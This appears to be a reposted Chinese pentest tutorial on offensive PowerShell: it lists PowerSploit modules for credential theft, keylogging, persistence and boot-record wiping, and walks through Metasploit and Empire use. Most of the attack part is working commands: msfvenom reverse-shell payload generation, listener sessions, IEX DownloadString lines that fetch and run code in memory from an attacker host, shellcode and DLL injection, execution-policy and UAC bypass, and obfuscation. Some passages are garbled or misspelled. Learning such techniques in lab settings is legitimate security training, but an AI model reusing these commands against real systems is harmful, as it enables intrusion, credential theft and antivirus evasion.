栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

powershell 利用提权empire使用Powersploit的使用

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

powershell 利用提权empire使用Powersploit的使用

windows 自带的一个组件

https://www.pstips.net/powershell-online-tutorials 信息网站

Powershell是一种命令行shell和脚本环境.通过使用powershell,用户和脚本编写者可以对windows系统进行管理.

优点:
Windows7 以上操作系统默认安装.
Powershell脚本可以运行在内存中,无需写入磁盘(文件不落地)
可以调用.net类(C#)
可以用来管理活动目录
远程下载payload来执行

Powershell的基本概念

1.ps1 文件
一个powershell就是一个简单的文本文件,这个文件中包含了一系列powershell命令,每个命令为独立的一行,对于被视为powershell脚本的文本文件,文件名需要使用.PS1作为后缀


execution_policy 执行策略

2.执行策略
Powershell基于安全性的考虑,带有一个执行策略的选项.在默认情况下,该执行策略为受限的.如果powershell无法执行,可以尝试先使用
Get-ExecutionPolicy 这个策略来获得可能的策略:
1.Restricted 脚本不能执行
2.RemoteSigned:本地创建的脚本可以执行,但从网上下载的不能(有数字证书的除外)
3.AllSigned:仅当脚本由受信任的发布者签名时才能运行
4.Unrestricted:允许所有script脚本执行
可以使用:
Set-ExecutionPolicy 来选择使用的策略

运行脚本

运行一个powershell脚本需要指定执行脚本的路径,但是如果该脚本位于系统目录中,那么直接在命令符后输入脚本文件名即可执行.


Set-ExecutionPolicy
Get-ExecutionPolicy

基本语法

Get-Help
主题 Windows PowerShell 帮助系统
Get-Alias
获取当前会话中的所有别名
获取别名之后你会发现,有很多和linux相通的命令 cd ls tee …
关于Cmdlets
powershell里重要的命令集合
以.net形式存在
Get-Command -CommandType cmdlet 命令可以获取其命令集
start-process
start-process notepad.exe
Get-Process
获取指定的进程
Get-Content
类似cat
Get-Location
类似pwd
Copy-Item
cp
Move-Item
mv

Get-Process

Get-Process chrome

alias 别名

xxxx-xxxx




start-process

基本语法2


function add_diy($a, $b){

return $a + $b;

}

add_diy 100 99;

-le ===> less than or equal

-lt ===> less than

-gt ===> greater than

-ge ====> greater than or equal

计算100以内的质数

$i,$n,$k = 0 #定义变量初值为0
for($n =2;$n -le 100;$n++){
    $i =2 
    while($i -le $n){
        if($n%$i -eq 0){
            break
        }
        $i++
    }
    if($i -eq $n){
        $k++
        echo("$i")
    }
}

运算符
· >:将输出保存到指定文件中(用法:Get-Process>output.txt)

· >>:将脚本的输出追加到指定文件中(用法:test.ps1>>output.txt)

· 2>:将错误输出到指定文件中(Get-Porcess none 2>Errors.txt)

· 2>>:将错误追加到指定文件中(Get-Process none 2>> logs-Errors.txt)

· -eq:等于运算符(用法:$var1 –eq $var2,返回真或假)

· -gt:大于运算符(用法:$var1 –gt $var2,返回真或假)

· -match:匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string返回真或假)

· -replace:替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)

· -in:测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()
数组
A r r a y = v a l u e 1 , v a l u e 2 , v a l u e 3 语 句 条 件 语 句 I f ( Array = value1, value2, value3 语句 条件语句 If( Array=value1,value2,value3语句条件语句If(var {comparison_statement} $var2) { What_To_Do)}
Else {what_to_do_if_not}
循环语句
· While () {}

· Do {} While()

· For(;; {}

Powersploit的使用

下载地址: https://github.com/PowerShellMafia/PowerSploit
使用场景:信息探测,特权提升,凭证窃取,持久化
常用的cmdlets:具体如下:
Invoke-DllInjection.ps1
Invoke-Shellcode.ps1
Invoke-wmiCommand.ps1
Get-GPPPassword.ps1
Get-Keystrokes.ps1
Get-TimedScreenshot.ps1
等等

模块分析

CodeExecution 在目标主机执行代码
ScriptModification 在目标主机上创建或修改脚本
Persistence 后门脚本(持久性控制)
AntivirusBypass 发现杀软查杀特征
Exfiltration 目标主机上的信息搜集工具
Mayhem 蓝屏等破坏性脚本
Recon 以目标主机为跳板进行内网信息侦查
Privesc 跟权限提升有关的脚本


一、AntivirusBypass(绕过杀毒)
Find-AVSignature 发现杀软的签名
二、CodeExecution(代码执行)

  1. Invoke-DllInjection.ps1 DLL注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限
  2. Invoke-ReflectivePEInjection.ps1 反射型注入 将Windows PE文件(DLL / EXE)反射加载到powershell进程中,或反射地将DLL注入远程进程
  3. Invoke-Shellcode.ps1 将shellcode插入您选择的进程ID或本地PowerShell中
  4. Invoke-WmiCommand.ps1 在目标主机使用wmi执行命令
    三、Exfiltration(信息收集) #这个文件夹主要是收集目标主机上的信息
  5. Out-Minidump.ps1 生成一个进程的全内存小数据库
  6. Get-VaultCredential.ps1 显示Windows徽标凭据对象,包括明文Web凭据
  7. Get-Keystrokes.ps1 记录按键,时间和活动窗口
  8. Get-GPPPassword.ps1 检索通过组策略首选项推送的帐户的明文密码和其他信息
  9. Get-GPPAutologon.ps1 如果通过组策略首选项推送,则从registry.xml检索自动登录用户名和密码
  10. Get-TimedScreenshot.ps1 这是一个以定期间隔拍摄屏幕并将其保存到文件夹的功能
  11. Invoke-Mimikatz.ps1 查看主机密码
  12. Invoke-NinjaCopy.ps1 通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件
  13. Invoke-CredentialInjection.ps1 使用明文凭据创建登录,而不会触发可疑事件ID 4648(显式凭证登录)
  14. Invoke-TokenManipulation.ps1 列出可用的登录令牌。与其他用户创建进程登录令牌,并模仿当前线程中的登录令牌
  15. Get-MicrophoneAudio.ps1 通过麦克风记录声音
  16. VolumeShadowCopyTools.ps1
    四、Recon(信息侦察) #这个文件夹主要是以目标主机为跳板进行内网主机侦察
  17. Invoke-Portscan.ps1 端口扫描
  18. Get-HttpStatus.ps1 返回指定路径的HTTP状态代码和完整URL,并附带字典文件
  19. Invoke-ReverseDnsLookup.ps1 扫描DNS PTR记录的IP地址范围
  20. PowerView.ps1 PowerView是一系列执行网络和Windows域枚举和利用的功能
    5.Get-ComputerDetails 获得登录信息
    五、ScriptModification(脚本修改)
  21. Out-EncodedCommand.ps1 将脚本或代码块编码,并为PowerShell有效载荷脚本生成命令行输出
  22. Out-EncryptedScript.ps1 加密文本文件/脚本
  23. Out-CompressedDll.ps1 压缩,Base-64编码,并输出生成的代码,以将受管理的DLL加载到内存中
  24. Remove-Comments.ps1 从脚本中删除注释和多余的空白
    六、Persistence(权限维持)
  25. New-UserPersistenceOption 为添加持久性函数配置用户级持久性选项。
  26. New-ElevatedPersistenceOption 为添加持久性函数配置提升的持久性选项。
  27. Add-Persistence 向脚本添加持久性功能
  28. Install-SSP 安装安全支持提供程序(ssp)dll
  29. Get-SecurityPackages
    七、Privesc(提权)
    PowerUP: 共同特权升级检查的信息交换所,以及一些武器化载体
    Get-System
    八、Mayhem
    Set-MasterBootRecord 选择的消息覆写主引导记录
    Set-CriticalProcess 退出powershell时使系统蓝屏
msf 用法 exe

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.142
lport=22113 -f exe -o /home/kali/Desktop/2022_4_19.exe


python3-m http.server 7777




msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/
Display all 216 possibilities? (y or n)
msf5 exploit(multi/handler) > set payload windows/
[-] The value specified for payload is not valid.
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.121.142
lhost => 192.168.121.142
msf5 exploit(multi/handler) > set lport 22113
lport => 22113
msf5 exploit(multi/handler) > exploit


msf -f powershell Invoke-Shellcode.ps1

-f exe 生成exe程序 exe很容易查杀

-f powershell

sfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.142 lport=22114 -f powershell -o /home/kali/Desktop/new_pow.ps1


Import-Module .Invoke-Shellcode.ps1


Get-Alias iex

IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.226.142:8888/new_pow.ps1’)

从kali linux 的8888端口下载生成的powershell 代码

然后将下载的内容放置到内存中执行



开启监听

msf5 exploit(multi/handler) > user exploit/multi/handler
[-] Unknown command: user.
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.226.142
lhost => 192.168.226.142
msf5 exploit(multi/handler) > set lport 22114
lport => 22114
msf5 exploit(multi/handler) > exploit


不一定成功需要一个一个是 注入进程

Invoke-Shellcode -Shellcode @($buf) -ProcessId 1868  注入进程的id


Invoke-DllInjection.ps1 将自己的dll注入到目标机器的指定进程中,

invoke-dllinjection

将kali linux 生成的dll dynamic link library 动态链接库 加载内存中执行

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.19  lport=12345  -f dll -o /home/kali/Desktop/1.dll

Invoke-DllInjection -ProcessID 进程id -Dll 1.dll



开启监听

iex(New-Object Net.WebClient).DownloadString("htp://192.168.226.142:9999/InvokeDllInjection.ps1")

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.226.142 lport=12345 -f dll -o /home/kali/Desktop/1.dll


Invoke-DllInjection -ProcessID 进程id -Dll 1.dll

文件不落地





远程加载






empire powershell 项目 nishang

empire 是一个针对内网针对域控的一个渗透测试框架,和 msf 类似。其中集成了很多内网的一些工具以及命令,使用方便,且 empire 生成的木马文件基于 powershell,所以在 windows 平台上有很好的免杀效果。结合 msf 使用更是如虎添翼。

https://github.com/BC-SECURITY/Empire

安装
apt-get update
pip install python3-tornado
pip install powershell-empire

https://bc-security.gitbook.io/empire-wiki/quickstart/installation

apt-get install mitmproxy


powershell-empire server 开启服务器
powershell-empire client 客户端




端口没有设置

设置监听器



Listener 为 True 必须设置



运行

连接成功


interact 交互


获取密码



help 各种模块

download 模式 下载文件




目标文件位置

streal_token 捕获令牌提权 将代码注入到指定的process 进程注入

psinject http 4684 


自动提权 bypassuac http


自动 提权


keylog 键盘记录

通过使用-ExecutionPolicy bypass 来进行本地策略的绕过



通过使用-ExecutionPolicy bypass 来进行本地策略的绕过

powershell 混淆器

https://github.com/danielbohannon/danielbohannon.github.io/blob/master/Invoke-Obfuscation%20Screenshot.png

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation








转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/828057.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号